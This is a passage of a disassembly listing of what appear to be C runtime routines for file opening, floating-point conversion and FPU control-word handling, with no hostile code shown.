[ebp+var_14], 1 loc_41F924: ; CODE XREF: sub_41F8F5+22j mov eax, 8000h test edx, eax jnz short loc_41F93E test dh, 40h jnz short loc_41F93A cmp dword_4815B8, eax jz short loc_41F93E loc_41F93A: ; CODE XREF: sub_41F8F5+3Bj or [ebp+var_1], 80h loc_41F93E: ; CODE XREF: sub_41F8F5+36j ; sub_41F8F5+43j push 3 mov eax, edx pop ebx and eax, ebx sub eax, esi jz short loc_41F961 dec eax jz short loc_41F958 dec eax jnz short loc_41F97C mov [ebp+var_10], 0C0000000h jmp short loc_41F968 ; --------------------------------------------------------------------------- loc_41F958: ; CODE XREF: sub_41F8F5+55j mov [ebp+var_10], 40000000h jmp short loc_41F968 ; --------------------------------------------------------------------------- loc_41F961: ; CODE XREF: sub_41F8F5+52j mov [ebp+var_10], 80000000h loc_41F968: ; CODE XREF: sub_41F8F5+61j ; sub_41F8F5+6Aj cmp ecx, 10h jz short loc_41F9AD cmp ecx, 20h jz short loc_41F9A4 cmp ecx, 30h jz short loc_41F99B cmp ecx, 40h jz short loc_41F996 loc_41F97C: ; CODE XREF: sub_41F8F5+58j call sub_41B9A5 mov dword ptr [eax], 16h call sub_41B9AE mov [eax], esi or eax, 0FFFFFFFFh jmp loc_41FB8D ; --------------------------------------------------------------------------- loc_41F996: ; CODE XREF: sub_41F8F5+85j mov [ebp+var_8], ebx jmp short loc_41F9B0 ; --------------------------------------------------------------------------- loc_41F99B: ; CODE XREF: sub_41F8F5+80j mov [ebp+var_8], 2 jmp short loc_41F9B0 ; --------------------------------------------------------------------------- loc_41F9A4: ; CODE XREF: sub_41F8F5+7Bj mov [ebp+var_8], 1 jmp short loc_41F9B0 ; --------------------------------------------------------------------------- loc_41F9AD: ; CODE XREF: sub_41F8F5+76j mov [ebp+var_8], esi loc_41F9B0: ; CODE XREF: sub_41F8F5+A4j ; sub_41F8F5+ADj ... mov eax, edx mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx push edi mov edi, 100h jg short loc_41F9F7 jz short loc_41F9F2 cmp eax, esi jz short loc_41F9F2 cmp eax, edi jz short loc_41F9E9 cmp eax, 200h jz short loc_41FA23 cmp eax, 300h jnz short loc_41FA09 mov [ebp+var_C], 2 jmp short loc_41FA33 ; --------------------------------------------------------------------------- loc_41F9E9: ; CODE XREF: sub_41F8F5+DBj mov [ebp+var_C], 4 jmp short loc_41FA33 ; --------------------------------------------------------------------------- loc_41F9F2: ; CODE XREF: sub_41F8F5+D3j ; sub_41F8F5+D7j mov [ebp+var_C], ebx jmp short loc_41FA33 ; --------------------------------------------------------------------------- loc_41F9F7: ; CODE XREF: sub_41F8F5+D1j cmp eax, 500h jz short loc_41FA2C cmp eax, 600h jz short loc_41FA23 cmp eax, edx jz short loc_41FA2C loc_41FA09: ; CODE XREF: sub_41F8F5+E9j call sub_41B9A5 mov dword ptr [eax], 16h call sub_41B9AE mov [eax], esi loc_41FA1B: ; CODE XREF: sub_41F8F5+2E2j or eax, 0FFFFFFFFh jmp loc_41FB8C ; --------------------------------------------------------------------------- loc_41FA23: ; CODE XREF: sub_41F8F5+E2j ; sub_41F8F5+10Ej mov [ebp+var_C], 5 jmp short loc_41FA33 ; --------------------------------------------------------------------------- loc_41FA2C: ; CODE XREF: sub_41F8F5+107j ; sub_41F8F5+112j mov [ebp+var_C], 1 loc_41FA33: ; CODE XREF: sub_41F8F5+F2j ; sub_41F8F5+FBj ... mov eax, [ebp+arg_C] test eax, edi mov esi, 80h jz short loc_41FA51 mov ecx, dword_481180 not ecx and ecx, [ebp+arg_10] test cl, cl js short loc_41FA51 xor esi, esi inc esi loc_41FA51: ; CODE XREF: sub_41F8F5+148j ; sub_41F8F5+157j test al, 40h jz short loc_41FA6C or byte ptr [ebp+var_10+2], 1 or esi, 4000000h cmp dword_481184, 2 jnz short loc_41FA6C or [ebp+var_8], 4 loc_41FA6C: ; CODE XREF: sub_41F8F5+15Ej ; sub_41F8F5+171j test ah, 10h jz short loc_41FA73 or esi, edi loc_41FA73: ; CODE XREF: sub_41F8F5+17Aj test al, 20h jz short loc_41FA7F or esi, 8000000h jmp short loc_41FA89 ; --------------------------------------------------------------------------- loc_41FA7F: ; CODE XREF: sub_41F8F5+180j test al, 10h jz short loc_41FA89 or esi, 10000000h loc_41FA89: ; CODE XREF: sub_41F8F5+188j ; sub_41F8F5+18Cj call sub_41F651 mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx jnz short loc_41FAB1 call sub_41B9A5 mov dword ptr [eax], 18h call sub_41B9AE and dword ptr [eax], 0 loc_41FAAA: ; CODE XREF: sub_41F8F5+208j mov eax, ebx jmp loc_41FB8C ; --------------------------------------------------------------------------- loc_41FAB1: ; CODE XREF: sub_41F8F5+1A0j mov eax, [ebp+arg_0] push 0 push esi push [ebp+var_C] mov dword ptr [eax], 1 mov eax, [ebp+arg_4] mov [eax], edi lea eax, [ebp+var_1C] push eax push [ebp+var_8] push [ebp+var_10] push [ebp+arg_8] call dword_422034 ; CreateFileA mov esi, eax cmp esi, ebx jz short loc_41FAF0 push esi call dword_4221D4 ; GetFileType test eax, eax jnz short loc_41FAFF push esi call dword_42202C ; CloseHandle loc_41FAF0: ; CODE XREF: sub_41F8F5+1E7j call dword_422008 ; RtlGetLastWin32Error push eax call sub_41B9B7 pop ecx jmp short loc_41FAAA ; --------------------------------------------------------------------------- loc_41FAFF: ; CODE XREF: sub_41F8F5+1F2j cmp eax, 2 jnz short loc_41FB0A or [ebp+var_1], 40h jmp short loc_41FB13 ; --------------------------------------------------------------------------- loc_41FB0A: ; CODE XREF: sub_41F8F5+20Dj cmp eax, 3 jnz short loc_41FB13 or [ebp+var_1], 8 loc_41FB13: ; CODE XREF: sub_41F8F5+213j ; sub_41F8F5+218j push esi push edi call sub_41F480 or [ebp+var_1], 1 mov eax, edi sar eax, 5 lea ebx, ds:481600h[eax*4] mov eax, edi and eax, 1Fh lea esi, [eax+eax*8] mov al, [ebp+var_1] pop ecx pop ecx mov ecx, [ebx] shl esi, 2 mov [ebp+var_1], al and [ebp+var_1], 48h mov [esi+ecx+4], al jnz short loc_41FB75 test al, al jns short loc_41FB75 test byte ptr [ebp+arg_C], 2 jz short loc_41FB75 push 2 push 0FFFFFFFFh push edi call sub_41D6E6 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41FB91 call sub_41B9AE cmp dword ptr [eax], 83h jnz short loc_41FBD0 loc_41FB75: ; CODE XREF: sub_41F8F5+252j ; sub_41F8F5+256j ... cmp [ebp+var_1], 0 jnz short loc_41FB8A test byte ptr [ebp+arg_C], 8 jz short loc_41FB8A mov eax, [ebx] lea eax, [esi+eax+4] or byte ptr [eax], 20h loc_41FB8A: ; CODE XREF: sub_41F8F5+284j ; sub_41F8F5+28Aj mov eax, edi loc_41FB8C: ; CODE XREF: sub_41F8F5+129j ; sub_41F8F5+1B7j pop edi loc_41FB8D: ; CODE XREF: sub_41F8F5+9Cj pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FB91: ; CODE XREF: sub_41F8F5+271j and [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax push edi call sub_41B287 add esp, 0Ch test eax, eax jnz short loc_41FBBE cmp [ebp+var_2], 1Ah jnz short loc_41FBBE push [ebp+var_10] push edi call sub_4209FE cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_41FBD0 loc_41FBBE: ; CODE XREF: sub_41F8F5+2B1j ; sub_41F8F5+2B7j push 0 push 0 push edi call sub_41D6E6 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41FB75 loc_41FBD0: ; CODE XREF: sub_41F8F5+27Ej ; sub_41F8F5+2C7j push edi call sub_41AD93 pop ecx jmp loc_41FA1B sub_41F8F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBDC proc near ; CODE XREF: sub_41B83D+137p var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset stru_42CB68 call __SEH_prolog and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax mov ecx, [ebp+arg_8] call sub_41F8F5 add esp, 14h mov [ebp+var_24], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41FC21 mov eax, [ebp+var_24] call __SEH_epilog retn sub_41FBDC endp ; =============== S U B R O U T I N E ======================================= sub_41FC21 proc near ; CODE XREF: sub_41FBDC+37p ; DATA XREF: .text:stru_42CB68o cmp dword ptr [ebp-1Ch], 0 jz short locret_41FC30 push dword ptr [ebp-20h] call sub_41F62F pop ecx locret_41FC30: ; CODE XREF: sub_41FC21+4j retn sub_41FC21 endp ; =============== S U B R O U T I N E ======================================= sub_41FC31 proc near ; CODE XREF: sub_41FCB0+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push 20h pop ecx cdq idiv ecx push 1Fh pop ecx sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl mov ecx, [esp+arg_0] not edx test [ecx+eax*4], edx jz short loc_41FC59 loc_41FC50: ; CODE XREF: sub_41FC31+26j xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FC53: ; CODE XREF: sub_41FC31+2Cj cmp dword ptr [ecx+eax*4], 0 jnz short loc_41FC50 loc_41FC59: ; CODE XREF: sub_41FC31+1Dj inc eax cmp eax, 3 jl short loc_41FC53 xor eax, eax inc eax retn sub_41FC31 endp ; =============== S U B R O U T I N E ======================================= sub_41FC63 proc near ; CODE XREF: sub_41FCB0+42p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push edi push 20h pop ecx cdq idiv ecx mov edi, [esp+8+arg_0] mov esi, eax lea eax, [edi+esi*4] push eax push 1Fh pop ecx sub ecx, edx xor edx, edx inc edx shl edx, cl push edx push dword ptr [eax] call sub_420B39 add esp, 0Ch dec esi js short loc_41FCAD lea edi, [edi+esi*4] loc_41FC94: ; CODE XREF: sub_41FC63+48j test eax, eax jz short loc_41FCAD push edi push 1 push dword ptr [edi] call sub_420B39 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41FC94 loc_41FCAD: ; CODE XREF: sub_41FC63+2Cj ; sub_41FC63+33j pop edi pop esi retn sub_41FC63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FCB0 proc near ; CODE XREF: sub_41FDD1+79p ; sub_41FDD1+C2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx push esi push edi mov edi, [ebp+arg_4] dec edi push 20h lea eax, [edi+1] pop ecx cdq idiv ecx push 1Fh pop esi sub esi, edx xor edx, edx inc edx mov ecx, esi shl edx, cl mov ebx, eax mov eax, [ebp+arg_0] test [eax+ebx*4], edx jz short loc_41FCFF lea ecx, [edi+1] push ecx push eax call sub_41FC31 test eax, eax pop ecx pop ecx jnz short loc_41FCFC push edi push [ebp+arg_0] call sub_41FC63 pop ecx pop ecx mov [ebp+var_4], eax loc_41FCFC: ; CODE XREF: sub_41FCB0+3Cj mov eax, [ebp+arg_0] loc_41FCFF: ; CODE XREF: sub_41FCB0+2Cj or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax+ebx*4], edx inc ebx cmp ebx, ecx jge short loc_41FD1A lea edi, [eax+ebx*4] sub ecx, ebx xor eax, eax rep stosd loc_41FD1A: ; CODE XREF: sub_41FCB0+5Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41FCB0 endp ; =============== S U B R O U T I N E ======================================= sub_41FD22 proc near ; CODE XREF: sub_41FDD1+6Dp ; sub_41FDD1+ACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 3 pop edx sub ecx, eax push esi loc_41FD30: ; CODE XREF: sub_41FD22+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41FD30 pop esi retn sub_41FD22 endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41FDD1+4Dp arg_0 = dword ptr 4 xor eax, eax loc_41FD3F: ; CODE XREF: sub_41FD3D+10j mov ecx, [esp+arg_0] cmp dword ptr [ecx+eax*4], 0 jnz short loc_41FD53 inc eax cmp eax, 3 jl short loc_41FD3F xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41FD53: ; CODE XREF: sub_41FD3D+Aj xor eax, eax retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD56 proc near ; CODE XREF: sub_41FDD1+B6p ; sub_41FDD1+D0p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h pop esi cdq mov ecx, esi idiv ecx mov ebx, [ebp+arg_0] or edi, 0FFFFFFFFh mov [ebp+arg_4], esi mov ecx, edx shl edi, cl mov [ebp+var_8], eax xor eax, eax sub [ebp+arg_4], edx not edi mov [ebp+var_4], eax loc_41FD84: ; CODE XREF: sub_41FD56+51j mov esi, [ebx+eax*4] mov ecx, esi and ecx, edi mov [ebp+var_C], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+arg_4] or esi, [ebp+var_4] mov [ebx+eax*4], esi mov esi, [ebp+var_C] shl esi, cl inc eax cmp eax, 3 mov [ebp+var_4], esi jl short loc_41FD84 push 2 pop eax mov ecx, eax sub ecx, [ebp+var_8] lea ecx, [ebx+ecx*4] loc_41FDB4: ; CODE XREF: sub_41FD56+74j cmp eax, [ebp+var_8] jl short loc_41FDC0 mov edx, [ecx] mov [ebx+eax*4], edx jmp short loc_41FDC4 ; --------------------------------------------------------------------------- loc_41FDC0: ; CODE XREF: sub_41FD56+61j and dword ptr [ebx+eax*4], 0 loc_41FDC4: ; CODE XREF: sub_41FD56+68j dec eax sub ecx, 4 test eax, eax jge short loc_41FDB4 pop edi pop esi pop ebx leave retn sub_41FD56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDD1 proc near ; CODE XREF: sub_41FF29+Dp ; sub_41FF3F+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] shl eax, 10h and edi, 7FFFh sub edi, 3FFFh cmp edi, 0FFFFC001h mov [ebp+var_4], eax lea eax, [ebp+var_C] mov [ebp+var_8], ecx push eax jnz short loc_41FE3A xor ebx, ebx call sub_41FD3D test eax, eax pop ecx jnz loc_41FEE9 lea edi, [ebp+var_C] stosd stosd stosd loc_41FE32: ; CODE XREF: sub_41FDD1+DAj push 2 pop eax jmp loc_41FEEB ; --------------------------------------------------------------------------- loc_41FE3A: ; CODE XREF: sub_41FDD1+49j lea eax, [ebp+var_18] push eax call sub_41FD22 push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_41FCB0 add esp, 10h test eax, eax jz short loc_41FE57 inc edi loc_41FE57: ; CODE XREF: sub_41FDD1+83j mov eax, [esi+4] mov ecx, eax sub ecx, [esi+8] cmp edi, ecx jge short loc_41FE6D xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd jmp short loc_41FEA9 ; --------------------------------------------------------------------------- loc_41FE6D: ; CODE XREF: sub_41FDD1+90j cmp edi, eax jg short loc_41FEAD sub eax, edi mov edi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41FD22 lea eax, [ebp+var_C] push edi push eax call sub_41FD56 push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_41FCB0 mov eax, [esi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41FD56 add esp, 20h loc_41FEA9: ; CODE XREF: sub_41FDD1+9Aj xor ebx, ebx jmp short loc_41FE32 ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FDD1+9Ej cmp edi, [esi] push dword ptr [esi+0Ch] jl short loc_41FED5 xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41FD56 mov ebx, [esi+14h] add ebx, [esi] pop ecx xor eax, eax pop ecx inc eax jmp short loc_41FEEB ; --------------------------------------------------------------------------- loc_41FED5: ; CODE XREF: sub_41FDD1+E1j mov ebx, [esi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add ebx, edi call sub_41FD56 pop ecx pop ecx loc_41FEE9: ; CODE XREF: sub_41FDD1+55j xor eax, eax loc_41FEEB: ; CODE XREF: sub_41FDD1+64j ; sub_41FDD1+102j push 1Fh pop ecx sub ecx, [esi+0Ch] mov esi, [esi+10h] shl ebx, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx or ebx, [ebp+var_C] cmp esi, 40h jnz short loc_41FF1A mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41FF24 ; --------------------------------------------------------------------------- loc_41FF1A: ; CODE XREF: sub_41FDD1+13Aj cmp esi, 20h jnz short loc_41FF24 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41FF24: ; CODE XREF: sub_41FDD1+147j ; sub_41FDD1+14Cj pop edi pop esi pop ebx leave retn sub_41FDD1 endp ; =============== S U B R O U T I N E ======================================= sub_41FF29 proc near ; CODE XREF: sub_41FF55+2Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_432DD0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41FDD1 add esp, 0Ch retn sub_41FF29 endp ; =============== S U B R O U T I N E ======================================= sub_41FF3F proc near ; CODE XREF: sub_41FF98+2Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_432DE8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41FDD1 add esp, 0Ch retn sub_41FF3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF55 proc near ; CODE XREF: sub_41BBED+12p var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_432A68 xor eax, [ebp+4] mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax call sub_420CF7 push [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_41FF29 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 24h call sub_41C596 leave retn sub_41FF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF98 proc near ; CODE XREF: sub_41BBED+2Dp var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_432A68 xor eax, [ebp+4] mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax call sub_420CF7 push [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_41FF3F mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 24h call sub_41C596 leave retn sub_41FF98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FFDB proc near ; CODE XREF: sub_41BCF6+4Dp ; sub_41BE06+41p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] mov ecx, [edx+0Ch] push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi mov esi, [ebp+arg_0] push edi lea edi, [esi+1] mov byte ptr [esi], 30h mov eax, edi jle short loc_420018 mov [ebp+arg_0], ebx xor ebx, ebx loc_41FFFE: ; CODE XREF: sub_41FFDB+38j mov dl, [ecx] test dl, dl jz short loc_42000A movsx edx, dl inc ecx jmp short loc_42000D ; --------------------------------------------------------------------------- loc_42000A: ; CODE XREF: sub_41FFDB+27j push 30h pop edx loc_42000D: ; CODE XREF: sub_41FFDB+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41FFFE mov edx, [ebp+arg_8] loc_420018: ; CODE XREF: sub_41FFDB+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_420031 cmp byte ptr [ecx], 35h jl short loc_420031 jmp short loc_420029 ; --------------------------------------------------------------------------- loc_420026: ; CODE XREF: sub_41FFDB+52j mov byte ptr [eax], 30h loc_420029: ; CODE XREF: sub_41FFDB+49j dec eax cmp byte ptr [eax], 39h jz short loc_420026 inc byte ptr [eax] loc_420031: ; CODE XREF: sub_41FFDB+42j ; sub_41FFDB+47j cmp byte ptr [esi], 31h jnz short loc_42003B inc dword ptr [edx+4] jmp short loc_42004D ; --------------------------------------------------------------------------- loc_42003B: ; CODE XREF: sub_41FFDB+59j push edi call sub_419D70 inc eax push eax push edi push esi call sub_41F060 add esp, 10h loc_42004D: ; CODE XREF: sub_41FFDB+5Ej pop edi pop esi pop ebx pop ebp retn sub_41FFDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420052 proc near ; CODE XREF: sub_42010C+1Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] push ebx push esi push edi mov edi, 7FFh mov esi, 80000000h mov [ebp+var_4], esi mov ecx, eax shr ecx, 4 and eax, 8000h and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx and eax, 0FFFFFh test ebx, ebx jz short loc_4200A2 cmp ebx, edi jz short loc_42009B lea edi, [ecx+3C00h] jmp short loc_4200C3 ; --------------------------------------------------------------------------- loc_42009B: ; CODE XREF: sub_420052+3Fj mov edi, 7FFFh jmp short loc_4200C3 ; --------------------------------------------------------------------------- loc_4200A2: ; CODE XREF: sub_420052+3Bj xor ebx, ebx cmp eax, ebx jnz short loc_4200BA cmp edx, ebx jnz short loc_4200BA mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420107 ; --------------------------------------------------------------------------- loc_4200BA: ; CODE XREF: sub_420052+54j ; sub_420052+58j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4200C3: ; CODE XREF: sub_420052+47j ; sub_420052+4Ej mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh test ecx, esi mov [eax+4], ecx mov [eax], edx jnz short loc_4200FE loc_4200DF: ; CODE XREF: sub_420052+AAj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx shl edx, 1 shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh test edx, esi mov [eax+4], edx mov [eax], ecx jz short loc_4200DF loc_4200FE: ; CODE XREF: sub_420052+8Bj mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420107: ; CODE XREF: sub_420052+66j pop edi pop esi pop ebx leave retn sub_420052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42010C proc near ; CODE XREF: sub_41BCF6+23p ; sub_41BE06+22p ... var_2C = word ptr -2Ch var_2A = byte ptr -2Ah var_28 = byte ptr -28h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_432A68 xor eax, [ebp+4] push esi mov [ebp+var_4], eax push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_420052 pop ecx pop ecx lea eax, [ebp+var_2C] push eax push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_421131 mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov [esi+8], eax movsx eax, [ebp+var_2A] mov [esi], eax movsx eax, [ebp+var_2C] mov [esi+4], eax lea eax, [ebp+var_28] push eax push edi call sub_41BFE0 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 20h mov [esi+0Ch], edi mov eax, esi call sub_41C596 pop edi pop esi leave retn sub_42010C endp ; --------------------------------------------------------------------------- push 2 call sub_41865A pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_420187 proc near ; CODE XREF: sub_4202A7+Cp xor eax, eax test bl, 1 jz short loc_420191 push 10h pop eax loc_420191: ; CODE XREF: sub_420187+5j test bl, 4 jz short loc_420199 or eax, 8 loc_420199: ; CODE XREF: sub_420187+Dj test bl, 8 jz short loc_4201A1 or eax, 4 loc_4201A1: ; CODE XREF: sub_420187+15j test bl, 10h jz short loc_4201A9 or eax, 2 loc_4201A9: ; CODE XREF: sub_420187+1Dj test bl, 20h jz short loc_4201B1 or eax, 1 loc_4201B1: ; CODE XREF: sub_420187+25j test bl, 2 jz short loc_4201BB or eax, 80000h loc_4201BB: ; CODE XREF: sub_420187+2Dj push ebp movzx edx, bx push esi mov ecx, edx mov esi, 0C00h and ecx, esi push edi mov edi, 300h mov ebp, 200h jz short loc_4201F7 cmp ecx, 400h jz short loc_4201F2 cmp ecx, 800h jz short loc_4201EE cmp ecx, esi jnz short loc_4201F7 or eax, edi jmp short loc_4201F7 ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_420187+5Dj or eax, ebp jmp short loc_4201F7 ; --------------------------------------------------------------------------- loc_4201F2: ; CODE XREF: sub_420187+55j or eax, 100h loc_4201F7: ; CODE XREF: sub_420187+4Dj ; sub_420187+61j ... and edx, edi jz short loc_420206 cmp edx, ebp jnz short loc_42020B or eax, 10000h jmp short loc_42020B ; --------------------------------------------------------------------------- loc_420206: ; CODE XREF: sub_420187+72j or eax, 20000h loc_42020B: ; CODE XREF: sub_420187+76j ; sub_420187+7Dj test bh, 10h pop edi pop esi pop ebp jz short locret_420218 or eax, 40000h locret_420218: ; CODE XREF: sub_420187+8Aj retn sub_420187 endp ; =============== S U B R O U T I N E ======================================= sub_420219 proc near ; CODE XREF: sub_4202A7+22p xor eax, eax test bl, 10h jz short loc_420221 inc eax loc_420221: ; CODE XREF: sub_420219+5j test bl, 8 jz short loc_420229 or eax, 4 loc_420229: ; CODE XREF: sub_420219+Bj test bl, 4 jz short loc_420231 or eax, 8 loc_420231: ; CODE XREF: sub_420219+13j test bl, 2 jz short loc_420239 or eax, 10h loc_420239: ; CODE XREF: sub_420219+1Bj test bl, 1 jz short loc_420241 or eax, 20h loc_420241: ; CODE XREF: sub_420219+23j test ebx, 80000h jz short loc_42024C or eax, 2 loc_42024C: ; CODE XREF: sub_420219+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_420280 cmp ecx, 100h jz short loc_42027B cmp ecx, esi jz short loc_420274 cmp ecx, edx jnz short loc_420280 or eax, 0C00h jmp short loc_420280 ; --------------------------------------------------------------------------- loc_420274: ; CODE XREF: sub_420219+4Ej or eax, 800h jmp short loc_420280 ; --------------------------------------------------------------------------- loc_42027B: ; CODE XREF: sub_420219+4Aj or eax, 400h loc_420280: ; CODE XREF: sub_420219+42j ; sub_420219+52j ... mov ecx, ebx and ecx, 30000h jz short loc_420296 cmp ecx, 10000h jnz short loc_420298 or eax, esi jmp short loc_420298 ; --------------------------------------------------------------------------- loc_420296: ; CODE XREF: sub_420219+6Fj or eax, edx loc_420298: ; CODE XREF: sub_420219+77j ; sub_420219+7Bj test ebx, 40000h pop esi jz short locret_4202A6 or eax, 1000h locret_4202A6: ; CODE XREF: sub_420219+86j retn sub_420219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4202A7 proc near ; CODE XREF: sub_4202D9+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx fstcw word ptr [ebp+var_4] mov ebx, [ebp+var_4] call sub_420187 mov ebx, eax mov eax, [ebp+arg_4] not eax and ebx, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or ebx, eax call sub_420219 mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] mov eax, ebx pop ebx leave retn sub_4202A7 endp ; =============== S U B R O U T I N E ======================================= sub_4202D9 proc near ; CODE XREF: sub_41BF5F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_4202A7 pop ecx pop ecx retn sub_4202D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4202EF proc near ; CODE XREF: sub_41C1A9+27Dp ; sub_41E950+15Ep ... var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword 